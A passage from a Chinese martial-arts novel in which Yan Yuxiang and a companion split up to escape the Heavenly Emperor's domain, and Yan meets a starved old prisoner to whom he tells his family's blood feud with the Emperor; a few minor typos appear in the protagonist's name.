“这没有什么好奇怪的,当今八大门派不和,彼此相互猜忌,只怕他们不曾想到是天帝所为。”

“不,天帝在外名气很坏,按理他们是应该想到的。”

“既然想得到,他们为什么不派人前来报仇?”

“他们是没有把握,所以各派之人才一直没有行动,假若我去通知他们,相信他们一定会前来报仇的。”

“报仇也要先出去再说!”

燕驭骧点点头,道:“我们这就要想法子出去!”

两人再度前行,坟场之中竟然没有受到任何阻拦,只是遍地阴气森森。人行其上,却也大不是味道。

过了坟场,眼前出现两条道路,两人一时之间都不知该往哪条路走才对?

燕驭骧道:“阁下也不知哪条路正确吗?”

机智摇了摇头,道:“天帝真的很厉害,他只把道路略为改变了一下,一切景物已是大变,如今连我也不知哪条路是对,哪条路是错了?”

燕驭骧道:“那么我们现在如何走法?”

机智想了一想,道:“先走左边这条路如何?”

“左边若是错的呢?”

“再回头走右边的!”

燕驭骧摇摇头,道:“这样不好!一者浪费时间,二者若是我们走错了,到时要想重回这里便十分困难啦!”

“那么依燕小哥之意如何?”

“我们不如分开来走,各走一条,约定以两个时辰为限,两个时辰之内再回到此地来!”

“如是两个时辰之内回不来呢?”

“那么回来之人便去找那个不回之人!”

“甚妙,甚妙,这样看来,我这个机智外号倒该送给你燕小哥了!”

“我还认为阁下大名便是机智呢!”

“哪里话,我们只是机智和运气相称,实则我姓章,名敬修!”

燕驭票拱手道:“原来是章兄,在下多有失效!”

章敬修道:“不敢,不敢,燕兄,我们现在便开始行动吧!”

燕驭细点了点头,道:“一切慎重!”

章敬修道:“小哥也慎重!”

两人一拱手,分向左右行去。

燕驭骧走的是左边,走了一会,他好像进了一座山洞,那个山洞亦是怪石林立,气象十分阴沉……

燕驭骧心想:“莫非这条路是错的吗?八成又回到天帝那里去了。”

他不由迟疑了一会,一时之间不知该作何处置,随后心想:“管他呢?就是走回去也先试一试再说!”

他举手推门,哪知石门应手而开,燕驭骧大是奇怪,心想:“不知里面是不是有人?”

他于是问道:“里面有人吗?”

里面没有回应,他一步跨入,忽觉微风飒然,一股劲风由侧边袭至,燕驭骧反应更是快捷,出手反拍了一掌。

“啪”的一声,只听一声闷响,一人倒下地去。

燕驭骧回头望去,只见一个满头白发的老者跌坐在地,那老者衣衫破损不堪,两眼深陷,根本不像人形。

燕驭骧惊道,“你是谁?”

那老者哼道:“你这不是明知故问吗?”

燕驭案正色道:“在下真的不认识阁下。”

那人冷笑道:“他派你来干什么?”

燕驭骧惊道:“他?他是谁呀?”

那人哼道:“老夫功力虽已失去,但仍有办法收拾你!”

燕驭骧心想:“这人说话颠三倒四,莫不是一个疯子吧?”

心随念转,便又道:“你究竟说些什么!我一句都听不懂!”

那人大声道:“在下虽然不才,但不是随便听人差遣之人,你要他死心吧!”

燕驭骧道:“你说的他究竟是谁?能不能请你明白相告?”

那人冷冷地道:“在这种地方,除了天帝手下之人,任何人休想来此!”

燕驭骧冷笑道:“你以为我是天帝的手下吗?”

那人怔道:“难道你不是?”

“当然。”

那人神色微微一动,道:“你敢是受害之人?瞧你年纪轻轻,天帝为何加害于你?”

燕驭骧不耐地道:“年轻人便不能办事吗?老实告诉你,在下行刺天帝未果,其后被他用机关打入暗牢,多亏王帐房相救,才走到这里——”

那人深陷的眼睛睁大了,道:“凭你也行刺天帝?”

“我便不能行刺他吗?”

“我不是这个意思,我是说你行刺他总该有个目的,难道你与他有什么深仇大恨吗?”

“公私都有。”

“能否一说?”

“在公来说,他欲争霸武林、残杀武林同道。”

“不错不错,那么私的方面?”

燕驭骧切齿地道:“他曾杀死我祖父和祖母,并且逼得我父母无路可走,我母亲终至忧郁而终……”